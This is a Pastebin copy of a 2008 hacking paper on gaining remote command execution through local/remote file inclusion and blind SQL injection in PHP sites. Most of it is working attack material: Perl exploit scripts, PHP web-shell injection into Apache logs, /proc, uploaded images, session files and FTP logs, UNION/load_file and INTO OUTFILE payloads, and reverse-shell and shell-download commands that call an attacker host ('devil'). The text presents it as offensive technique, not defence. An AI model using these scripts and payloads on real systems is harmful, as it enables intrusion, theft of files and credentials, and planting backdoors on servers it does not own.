luxaeterna101

web_vuln-en.txt

Feb 17th, 2016
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.00 KB | None | 0 0
  1. |=--------=[ Web vulnerabilities to gain access to the system ]=---------=|
  2. |=-----------------------------------------------------------------------=|
  3. |=----=[ pepelux[at]enye-sec[dot]org - <http://www.enye-sec.org> ]=------=|
  4. |=-----------------------------------------------------------------------=|
  5. |=----=[ spanish translation available in http://www.enye-sec.org ]=-----=|
  6. |=-----------------------------------------------------------------------=|
  7. |=---------------------------=[ Oct 12th 2008 ]-=------------------------=|
  8.  
  9. --[ Content
  10.  
  11. 1 - Introduction
  12.  
  13. 2 - Local and Remote File Inclusion (LFI/RFI)
  14. 2.1 - Introduction
  15. 2.2 - Executing commands remotely
  16. 2.2.1 - Injecting PHP code into apache logs
  17. 2.2.2 - Injecting PHP code into process table
  18. 2.2.3 - Injecting PHP code into an image
  19. 2.2.4 - Injecting PHP code into session files
  20. 2.2.5 - Injecting PHP code into other files
  21. 2.3 - Obtaining a shell
  22. 2.4 - Remote File Inclusion
  23.  
  24. 3 - Blind SQL Injection
  25. 3.1 - Introduction
  26. 3.2 - Loading local files
  27. 3.3 - Obtaining data without brute force
  28. 3.4 - Executing commands remotely
  29. 3.5 - Obtaining a shell
  30.  
  31. 4 - References
  32.  
  33.  
  34. ---[ 1 - Introduction
  35.  
  36. There are a lot of vulnerabilities that allow us to exploit a website, all of
  37. them are old and documented. We can found LFI, RFI, SQL, XSS, SSI, ICH and
  38. other attacks. For that reason I'm going to center this paper only in attacks
  39. that allow us access to the system and to execute commands remotely.
  40.  
  41. It would be bored to write another paper with all types of vulnerabilities,
  42. telling the same you know, for that I'll try to contribute with any new thing
  43. and remember basic concepts superficially.
  44.  
  45.  
  46.  
  47. ---[ 2 - Local and Remote File Inclusion (LFI/RFI)
  48.  
  49. ----[ 2.1 - Introduction
  50.  
  51. This type of attacks are well known and basically consists in to read system
  52. files using bad programmed PHP pages that make calls to another files by
  53. require, require_once, include or include_once commands. Logically, this calls
  54. must use any variable not initialized. Example:
  55.  
  56. require($file);
  57. require("includes/".$file);
  58. require("languages/".$lang.".php");
  59. require("themes/".$tema."/config.php");
  60.  
  61. The methods to exploit it are well known and I'm not go to detail its, I'm going
  62. to enumerate it only. For example:
  63.  
  64. Type of call:
  65. require($file);
  66.  
  67. Exploit:
  68. http://host/?file=/etc/passwd
  69.  
  70. Type of call:
  71. require("includes/".$file);
  72.  
  73. Exploit:
  74. http://host/?file=../../../../../etc/passwd
  75.  
  76. Tpye of calls:
  77. require("languages/".$lang.".php");
  78. require("themes/".$theme."/config.php");
  79.  
  80. Exploit:
  81. http://host/?file=../../../../../etc/passwd%00
  82.  
  83. Type of call:
  84. require("languages/".$_COOKIE['lang'].".php");
  85.  
  86. Exploit:
  87. javascript:document.cookie = "lan=../../../../../etc/passwd%00";
  88.  
  89. One script to exploit this type of vulnerabilites, by GET or POST, could be:
  90.  
  91. lfi.pl
  92. ---------------------------------------------
  93. #! /usr/bin/perl
  94.  
  95. # perl script to exploit LFI based in GET and POST requests
  96. # Example: http://site.com/index.php?var=
  97. # URL: http://site.com/index.php
  98. # Variable: var
  99. # Method: POST
  100. #
  101. # by Pepelux (pepelux[at]enye-sec[dot]org)
  102.  
  103. use LWP::UserAgent;
  104. $ua = LWP::UserAgent->new;
  105.  
  106. my ($host, $var, $method) = @ARGV ;
  107.  
  108. unless($ARGV[2]) {
  109. print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
  110. print "\tex: perl $0 http://site.com/index.php var GET\n";
  111. print "\tex: perl $0 http://site.com/index.php var POST\n\n";
  112. exit 1;
  113. }
  114.  
  115. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
  116. $ua->timeout(10);
  117. $host = "http://".$host if ($host !~ /^http:/);
  118.  
  119. while () {
  120. print "file to edit: ";
  121. chomp($file=<STDIN>);
  122.  
  123. if ($method =~ /GET/) {
  124. $url = $host."?".$var."=../../../../..".$file."%00";
  125. $req = HTTP::Request->new(GET => $url);
  126. $req->header('Accept' => 'text/html');
  127. }
  128. else {
  129. $req = HTTP::Request->new(POST => $host);
  130. $req->content_type('application/x-www-form-urlencoded');
  131. $req->content($var."=../../../../".$file."%00");
  132. }
  133.  
  134. $res = $ua->request($req);
  135.  
  136. if ($res->is_success) {
  137. $result = $res->content;
  138. print $result;
  139. }
  140. else { print "Error\n"; }
  141. }
  142. ---------------------------------------------
  143.  
  144.  
  145. ----[ 2.2 - Executing commands remotely
  146.  
  147. We've seen with this type of vulnerabilities is possible to view any system
  148. file where web user has readable access, but also is possible to execute
  149. system commands. To do that we need to write in any file this php code:
  150. <? passthru($_GET[cmd]) ?>
  151.  
  152. cmd is the name we put to our variable to send it data by GET.
  153.  
  154. Now, we only have to search any place where we can write data. How can we do
  155. that? we have several methods:
  156.  
  157.  
  158. -----[ 2.2.1 - Injecting PHP code into apache logs
  159.  
  160. We know that apache server saves logs of all operations, in access_log and
  161. error_log. We can play with registered datas and try to inject PHP code.
  162.  
  163. For example, to inject in error_log file is enough to do a call to a
  164. nonexistent page but sending the code we need to write in the file:
  165. http://host/xxxxxxx=<? passthru(\$_GET[cmd]) ?>
  166.  
  167. This will add a line into error_log injecting the code we have written. And
  168. now? we only have to load this file with the same method we did before and send
  169. by cmd variable the command we'd like to execute:
  170. http://host/?file=../../../var/apache/error_log&cmd=ls /etc
  171. http://host/?file=../../../var/apache/error_log&cmd=uname -a
  172.  
  173. But, how can we know the apache logs location? It depends of the operating
  174. system and the sysadmin. One option is to search typical directories where
  175. logs are saved:
  176. /var/log/apache/
  177. /var/log/httpd/
  178. /usr/local/apache/logs/
  179. ......
  180.  
  181. In a shared server we can see this situation:
  182. /path/host.com/www
  183. /logs
  184. /data
  185.  
  186. On this case, to know the path we only have to write a nonexisting file, for
  187. example:
  188. http://host/?file=xxxx
  189.  
  190. We will see in the sscreen any similar to this:
  191. Warning: require(xxxx) [function.require]: failed to open stream: No such
  192. file or directory in /var/www/host.com/www/p.php on line 2
  193.  
  194. We can intuit that log files could be in /var/www/host.com/logs
  195.  
  196. Another method to locate logs path could be viewing httpd.conf config file
  197. where we can see any similar to this:
  198. ErrorLog /var/log/apache/error.log
  199.  
  200. Or in the case of a shared server:
  201. ErrorLog /home/chs/host.com/home/logs/error_log
  202.  
  203. But as I wrote before, it depends of the operating system, apache version and
  204. the sysadmin, for that is possible logs are not on this location.
  205.  
  206. We also can locate apache logs path searching in the process table:
  207. /proc/{PID}/fd/{FD_ID} (the problem is that fd directory is only accesible by
  208. the user in some systems).
  209.  
  210. To locate the PID of our apache session we can make an HTTP request and next
  211. read /proc/self/stat content. Self is a link to the last PID used in the
  212. system, for that, we can read files watching on /proc/self.
  213.  
  214. Inside /proc/{PID}/fd there are only a few links to analyze, founding access_log
  215. and error_log path. To do this task we are going to use this perl script, that
  216. search all links inside /proc/self/fd/ directory to locate error_log path:
  217.  
  218. proc.pl
  219. ---------------------------------------------
  220. #! /usr/bin/perl
  221.  
  222. # perl script to serach apache logs path
  223. # Example:
  224. # URL: http://site/index.php
  225. # Variable: file
  226. # Method: POST
  227. #
  228. # by Pepelux (pepelux[at]enye-sec[dot]org)
  229.  
  230. use LWP::UserAgent;
  231. $ua = LWP::UserAgent->new;
  232.  
  233. my ($host, $var, $method) = @ARGV ;
  234.  
  235. unless($ARGV[2]) {
  236. print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
  237. print "\tex: perl $0 http://site.com/index.php file GET\n";
  238. print "\tex: perl $0 http://site.com/index.php file POST\n\n";
  239. exit 1;
  240. }
  241.  
  242. $ua->agent("<? passthru(\$_GET[cmd]) ?>");
  243. $ua->timeout(10);
  244. $host = "http://".$host if ($host !~ /^http:/);
  245.  
  246. if ($method =~ /GET/) {
  247. $url = $host."?".$var."=../../../../proc/self/stat%00";
  248. $req = HTTP::Request->new(GET => $url);
  249. $req->header('Accept' => 'text/html');
  250. }
  251. else {
  252. $req = HTTP::Request->new(POST => $host);
  253. $req->content_type('application/x-www-form-urlencoded');
  254. $req->content($var."=../../../../proc/self/stat%00");
  255. }
  256.  
  257. $res = $ua->request($req);
  258.  
  259. if ($res->is_success) {
  260. $result = $res->content;
  261. $result =~ s/<[^>]*>//g;
  262. $x = index($result, " ", 0);
  263. $pid = substr($result, 0, $x);
  264.  
  265. print "Apache PID: ".$pid."\n";
  266. }
  267.  
  268. if ($method =~ /GET/) {
  269. $url = $host."?".$var."=../../../../proc/self/status%00";
  270. $req = HTTP::Request->new(GET => $url);
  271. $req->header('Accept' => 'text/html');
  272. }
  273. else {
  274. $req = HTTP::Request->new(POST => $host);
  275. $req->content_type('application/x-www-form-urlencoded');
  276. $req->content($var."=../../../../proc/self/status%00");
  277. }
  278.  
  279. $res = $ua->request($req);
  280.  
  281. if ($res->is_success) {
  282. $result = $res->content;
  283. $result =~ s/<[^>]*>//g;
  284. $x = index($result, "FDSize",0)+8;
  285. $fdsize = substr($result, $x, 3);
  286.  
  287. print "FD_SIZE: ".$fdsize."\n";
  288. }
  289.  
  290. for ($cont = 0; $cont < $fdsize; $cont++) {
  291. $file = "../../../../proc/".$pid."/fd/".$cont;
  292. open FILE, $file;
  293.  
  294. while(<FILE>) {
  295. if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
  296. print "FD: ".$cont."\n";
  297. exit;
  298. }
  299. }
  300. }
  301. ---------------------------------------------
  302.  
  303. pepelux:~$ perl proc.pl http://host/index.php page GET
  304. Apache PID: 4191
  305. FD_SIZE: 64
  306. FD: 2
  307.  
  308. If the script locate FD is because /proc/{PID}/fd/{FD_ID} is readable by the
  309. user and we'll have, on this case, a link to error_log on/proc/4191/fd/2.
  310. Modifying the script we could add a call to
  311. http://host/?file=/proc/4191/fd/2&cmd=uname -a (see the first script).
  312.  
  313. We also can make the injection using an URL that doesn't back an error and log
  314. operation will be saved on access_log:
  315. http://host/index.php?x=<? passthru(\$_GET[cmd]) ?>
  316.  
  317. Is possible that apache doesn't save correctly the injection or it change <? or
  318. ?> with its hex value. On this case we can't do anything by GET and we'd try to
  319. send PHP command by POST, for example using perl.
  320.  
  321. More data saved by apache on access_log and where we can inject are referer or
  322. user-agent.
  323.  
  324. We are going to do some tests using this perl script:
  325.  
  326. cmd.pl
  327. ---------------------------------------------
  328. #! /usr/bin/perl
  329.  
  330. # perl script to inject a CMD in a web LFI vulnerable
  331. # Example:
  332. # Host: http://host.com
  333. # type: U
  334. #
  335. # by Pepelux (pepelux[at]enye-sec[dot]org)
  336.  
  337. use LWP::UserAgent;
  338. $ua = LWP::UserAgent->new;
  339.  
  340. my ($host, $type) = @ARGV ;
  341. $code="<? passthru(\$_GET[cmd]) ?>";
  342.  
  343. unless($ARGV[1]) {
  344. print "Usage: perl $0 <url> [URI|UAG|REF]\n";
  345. print "\tURI: URI\n";
  346. print "\tUAG: User-Agent\n";
  347. print "\tREF: Referer\n\n";
  348. print "\tex: perl $0 http://host.com URI\n";
  349. exit 1;
  350. }
  351.  
  352. $host = "http://".$host if ($host !~ /^http:/);
  353.  
  354. if ($type =~ /UAG/) { $ua->agent($code); }
  355. else { $ua->agent("Mozilla/5.0"); }
  356.  
  357. if ($type =~ /URI/) { $$host .= "/" . $code; }
  358.  
  359. $req = HTTP::Request->new(POST => $host);
  360. $req->content_type('application/x-www-form-urlencoded');
  361. $req->content("x=x");
  362.  
  363. if ($type =~ /REF/) { $req->referer($code); }
  364.  
  365. $res = $ua->request($req);
  366. ---------------------------------------------
  367.  
  368. Writing in error_log sending a nonexisting URI:
  369. pepelux:~$ perl cmd.pl http://host.com/blabla URI
  370.  
  371. In error_log we can see:
  372. [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
  373. exist: /home/chs/host.com/home/html/blabla
  374.  
  375. Trying with the User-Agent:
  376. pepelux:~$ perl cmd.pl http://host.com/blabla UAG
  377.  
  378. In error_log we can see the same:
  379. [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
  380. exist: /home/chs/host.com/home/html/blabla
  381.  
  382. Trying with the Referer:
  383. pepelux:~$ perl cmd.pl http://host.com/blabla REF
  384.  
  385. In this case we obtain the injection:
  386. [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
  387. exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
  388. ?>
  389.  
  390. Now we are going to write in access_log that saves more information that
  391. error_log:
  392. pepelux:~$ perl cmd.pl http://host.com/index.php URI
  393.  
  394. On this case we obtain:
  395. 11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
  396. /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
  397. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
  398. Firefox/3.0.1"
  399.  
  400. Trying with the User-Agent:
  401. pepelux:~$ perl cmd.pl http://host.com/index.php UAG
  402.  
  403. We obtain the injection:
  404. 11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
  405. /index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"
  406.  
  407. Trying with the Referer:
  408. pepelux:~$ perl cmd.pl http://host.com/index.php REF
  409.  
  410. We also obtain the injection:
  411. 11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
  412. /index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
  413. U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"
  414.  
  415.  
  416. -----[ 2.2.2 - Injecting PHP code into process table
  417.  
  418. I've found a paper (you can see down the reference) that explains how to inject
  419. into /proc/self/environ, that it is an static path we always know. The problem
  420. is that normally this file is only accesible by root and we can't read it.
  421.  
  422. As I wrote before, /proc/self is a link to the last PID used, for that we don't
  423. need to search our apache process PID because we can access directly by the self
  424. link. Attack consists in make an injection on User-Agent sending after a call to
  425. this file: http://host/?file=../../../proc/self/environ&cmd=uname -a
  426.  
  427. We'd have to do this with a little script because we have to inject and send
  428. command inmediately before self link changes to another PID process.
  429.  
  430.  
  431. -----[ 2.2.3 - Injecting PHP code into an image
  432.  
  433. Is very typical to found websites that allow us to upload images (for example,
  434. avatars) that are saved in the server. But what would happend if we upload a
  435. file with the content: <? passthru($_GET[cmd]) ?> but with any image extension?
  436. we colud upload without problems because extension is correct and we'd do a LFI
  437. attack with the same method:
  438. http://host/?file=path/avatar.gif&cmd=uname -a
  439.  
  440.  
  441. -----[ 2.2.4 - Injecting PHP code into session files
  442.  
  443. Suopose this vulnerable code:
  444.  
  445. <?php
  446. $user = $_GET['user'];
  447. session_register("user");
  448. session_start();
  449. ?>
  450.  
  451. As we can see, it creates a session variable using a value obtained by GET
  452. without any verifications.
  453.  
  454. We can send:
  455. http://host/?user=<? passthru($_GET[cmd]) ?>
  456.  
  457. And viewing the cookies of our navigator we can see that:
  458. PHPSESSID=b25ca6fea480073cf8eb840b203d343e
  459.  
  460. Analyzing session folder of our system we can see the content:
  461. pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
  462. user|s:26:"<? passthru($_GET[cmd]) ?>";
  463.  
  464. As you see, we can inject code on the file that saved our session and we also
  465. can execute commands using this file:
  466. http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a
  467.  
  468. On this case location file is known and we can select it without problems. If
  469. GET is filtered we can send it using POST.
  470.  
  471.  
  472. -----[ 2.2.5 - Injecting PHP code into other files
  473.  
  474. Normally we don't have access because only root can read this files but is
  475. possible to inject our code in other logs, for example in FTP logs:
  476. pepelux:~$ ftp host.com
  477. 220 ProFTPD 1.3.1 Server (Debian) [host.com]
  478. Name (pepelux): <? passthru($_GET[cmd]) ?>
  479. Password:
  480.  
  481. If we watch /var/log/proftpd/proftpd.log we can see our code injected:
  482. Oct 09 21:50:21 host.com proftpd[11190] host.com
  483. ([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
  484. from [11.22.33.44] to host.com:21
  485.  
  486. If the vulnerable server use an old version of webalizer and if it's accessible
  487. by web, we also can use the file usage_DATE.html to execute any code because
  488. this file is generated with the visit statistics using access_log and a bug
  489. that affect old versions of webalizer permits to write HTML code on referer.
  490. For example: Referer: <? passthru($_GET[cmd]) ?>
  491.  
  492. You only have to do a curl of calls with this referer to enter in the most sent
  493. and appears in the usage_DATE.html file.
  494.  
  495. In case that apache server admits the PUT command we also can upload a file
  496. with our code:
  497. pepelux:~$ telnet host.com 80
  498. Trying 11.22.33.44...
  499. Connected to host.com.
  500. Escape character is '^]'.
  501. OPTIONS / HTTP/1.1
  502.  
  503. HTTP/1.1 200 OK
  504. Date: Sat, 11 Oct 2008 15:06:05 GMT
  505. Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
  506. Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
  507. Content-Length: 0
  508. Connection: close
  509. Content-Type: httpd/unix-directory
  510.  
  511. Connection closed by foreign host.
  512.  
  513. To inject:
  514. pepelux:~$ telnet host.com 80
  515. Trying 11.22.33.44...
  516. Connected to host.com.
  517. Escape character is '^]'.
  518. PUT /file.txt HTTP/1.1
  519. Content-Type: text/plain
  520. Content-Length:26
  521.  
  522. <? passthru($_GET[cmd]) ?>
  523.  
  524.  
  525. ----[ 2.3 - Obtaining a shell
  526.  
  527. If we can execute commands remotely we can try to upload a shell to have more
  528. access to the system.
  529.  
  530. One method is creating a PHP based shell. We can download it using wget command:
  531. http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php
  532.  
  533. As we can't download a PHP file by HTTP, we can download a TXT file and save it
  534. as PHP.
  535.  
  536. We also can try to do a reverse telnet:
  537. pepelux:~$ nc -vv -l -p 8888
  538. pepelux:~$ nc -vv -l -p 8889
  539.  
  540. http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
  541.  
  542.  
  543. ----[ 2.4 - Remote File Inclusion
  544.  
  545. If allow_url_include is On in php.ini, we can inject a shell directly. Method
  546. is the same I've wrote before and it's well known. You only need to load by
  547. GET or POST directly to an URI with the shell (using a non PHP extension):
  548. http://host/?file=http://devil.com/shell.txt
  549. http://host/?file=http://devil.com/shell.txt%00
  550.  
  551.  
  552.  
  553. ---[ 3 - Blind SQL Injection
  554.  
  555. ----[ 3.1 - Introduction
  556.  
  557. SQL injection attacks are also well known and very docummented. I don't like to
  558. write more of the same. I'm going to write only about the techinque that allow
  559. to read system files.
  560.  
  561.  
  562. ----[ 3.2 - Loading local files
  563.  
  564. With a web vulnerable to SQL injections (this paper is based on MySQL), if the
  565. user used has permissions to do a load_file, we can read any system file, for
  566. example, /etc/passwd.
  567.  
  568. Example:
  569.  
  570. Table: users(id int, user char(25), pass char(25), mail char(255));
  571.  
  572. Datas:
  573. +---+---------+----------------------------------+--------------+
  574. | 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
  575. +---+---------+----------------------------------+--------------+
  576. | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
  577. +---+---------+----------------------------------+--------------+
  578.  
  579. Vulnerable code:
  580.  
  581. <?php
  582. $iduser = $_GET['id'];
  583. $link = mysql_connect("localhost", "mysql_user", "mysql_password");
  584. mysql_select_db("database", $link);
  585.  
  586. $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
  587. $row = mysql_fetch_array($result);
  588.  
  589. echo "User mail is:" . $row["mail"] . "\n";
  590. ?>
  591.  
  592. We have an unknown table, with unknown fields and a MySQL that doesn't show any
  593. error in the screen.
  594.  
  595. > correct call that show mail of user 2:
  596. http://host/?id=2
  597.  
  598. > we try to reorder query results by SQL injection:
  599. http://host/?id=2 ORDER BY 1 ... Ok
  600. http://host/?id=2 ORDER BY 2 ... Ok
  601. http://host/?id=2 ORDER BY 3 ... Ok
  602. http://host/?id=2 ORDER BY 4 ... Ok
  603. http://host/?id=2 ORDER BY 5 ... Error
  604.  
  605. Why ORDER BY 5 causes an error? if we use ORDER BY 2 we are telling MySQL that
  606. order results by the user, with ORDER BY 3, we tell it that order by pass
  607. column, but as we only have 4 columns on this table, ORDER BY 5 causes an error.
  608.  
  609. Why is it useful? we can know the number of columns that this table has.
  610.  
  611. > modifing the anwser we can see in the screen (we know there are 4 columns):
  612. http://host/?id=-1 UNION SELECT 1,2,3,4
  613.  
  614. What do it? It we search the user with ID=-1, it response with 0 results and it
  615. will create a new line with the injected data. Why do we use ID=-1? We can see a
  616. practical example:
  617.  
  618. We send:
  619. http://host/?id=2 UNION SELECT 1,2,3,4
  620.  
  621. We obtain:
  622. +---+---------+----------------------------------+--------------+
  623. | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
  624. +---+---------+----------------------------------+--------------+
  625. | 1 | 2 | 3 | 4 |
  626. +---+---------+----------------------------------+--------------+
  627.  
  628. As this select only the first line, we'll see in the screen:
  629. User mail is: pepelux@host
  630.  
  631. If we put ID=-1 we'll obtain the injected data:
  632.  
  633. We send:
  634. http://host/?id=-1 UNION SELECT 1,2,3,4
  635.  
  636. We obtain:
  637. +---+---------+----------------------------------+--------------+
  638. | 1 | 2 | 3 | 4 |
  639. +---+---------+----------------------------------+--------------+
  640.  
  641. In the screen we will see:
  642. User mail is: 4
  643.  
  644. > We can use 4th column (that we can see it in the screen) to inject:
  645. http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
  646.  
  647. It will show in the screen /etc/passwd content in the mail user place (this is
  648. possible only if the mysql user used has permissions to execute load_file).
  649.  
  650. In the case that magic_quotes are On we can use the hex value:
  651. http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);
  652.  
  653. A difference between to read files using LFI and to read it using SQL injection
  654. is that the user used to read files is different. On the first case we use the
  655. apache user and on the second case we use the MySQL user. This is not very
  656. important by it can be useful to read same files with different permissions.
  657.  
  658.  
  659. ----[ 3.3 - Obtaining data without brute force
  660.  
  661. Supose this situation with the same vulnerable code as I wrote before:
  662.  
  663. Table: users(id int, user char(25), pass char(25), mail char(255));
  664.  
  665. Datas:
  666. +---+---------+----------------------------------+--------------+
  667. | 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
  668. +---+---------+----------------------------------+--------------+
  669. | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
  670. +---+---------+----------------------------------+--------------+
  671.  
  672. <?php
  673. $iduser = $_GET['$id'];
  674. $link = mysql_connect("localhost", "mysql_user", "mysql_password");
  675. mysql_select_db("database", $link);
  676.  
  677. $result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
  678. $row = mysql_fetch_array($result);
  679.  
  680. echo "User mail is:" . $row["mail"] . "\n";
  681. ?>
  682.  
  683. We can see all data of this table if we do that:
  684. http://host/?id=1 outfile "/tmp/sql.txt"
  685. http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');
  686.  
  687. /tmp/sql.txt content is:
  688. 1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
  689.  
  690. As we can see, we have extracted all data of the user with ID=1 without know the
  691. table name or the fields names. With the same method we can extract all user
  692. fields.
  693.  
  694. The problem of this attack is that we only can read data of the table that is
  695. used in the query.
  696.  
  697. Using this technique we can also copy system files in the local directory to
  698. access it by web, for example:
  699. http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
  700. "/var/www/host.com/www/passwd"
  701.  
  702. And we can create PHP files. For example:
  703. http://host/?id=-1 union select 1,"<?phpinfo()?>",1 into outfile
  704. "/var/www/host.com/www/phpinfo.php"
  705.  
  706.  
  707. ----[ 3.4 - Executing commands remotely
  708.  
  709. We have seen several methods to inject <? passthru($_GET[cmd]) ?> that give us
  710. the possibility to execute commands remotely. Main problem we found is to
  711. locate a file to write the PHP code. With the apache logs is complicated to
  712. find the location and also is possible that the user doesn't have permissions
  713. to read it.
  714.  
  715. On this case is easy to cause an error that show us in the screen the path of
  716. the website. If we know it we can create a PHP file with the code that allow us
  717. to execute commands:
  718. http://host/?id=-1 union select 1,"<?passthru($_GET[cmd])?>",1 into outfile
  719. "/var/www/host.com/www/cmd.php"
  720.  
  721. Next we only have to do:
  722. http://host/cmd.php?cmd=uname -a
  723.  
  724. If the website is vulnerable to LFI attacks we can write the PHP code in any
  725. place that we have writeable permissions. For example in /tmp:
  726.  
  727. First, we can inject code in a file on /tmp:
  728. http://host/?id=-1 union select 1,"<? passthru($_GET[cmd]) ?>",1,1 into
  729. outfile "/tmp/sql.txt"
  730.  
  731. Next we use LFI to execute commands:
  732. http://host/?file=../../../tmp/sql.txt&cmd=uname -a
  733.  
  734.  
  735. ----[ 3.5 - Obtaining a shell
  736.  
  737. If we have created a file containing our PHP code, the method to obtain a shell
  738. is the same that I described before for LFIs (you can see point 2.3) :-)
  739.  
  740.  
  741.  
  742. ---[ 4 - References
  743.  
  744. - http://www.g-brain.net/tutorials/local-file-inclusions.txt
  745. - http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
  746. - http://www.securityfocus.com/bid/3473
  747. - http://dev.mysql.com/doc/
Add Comment
Please, Sign In to add comment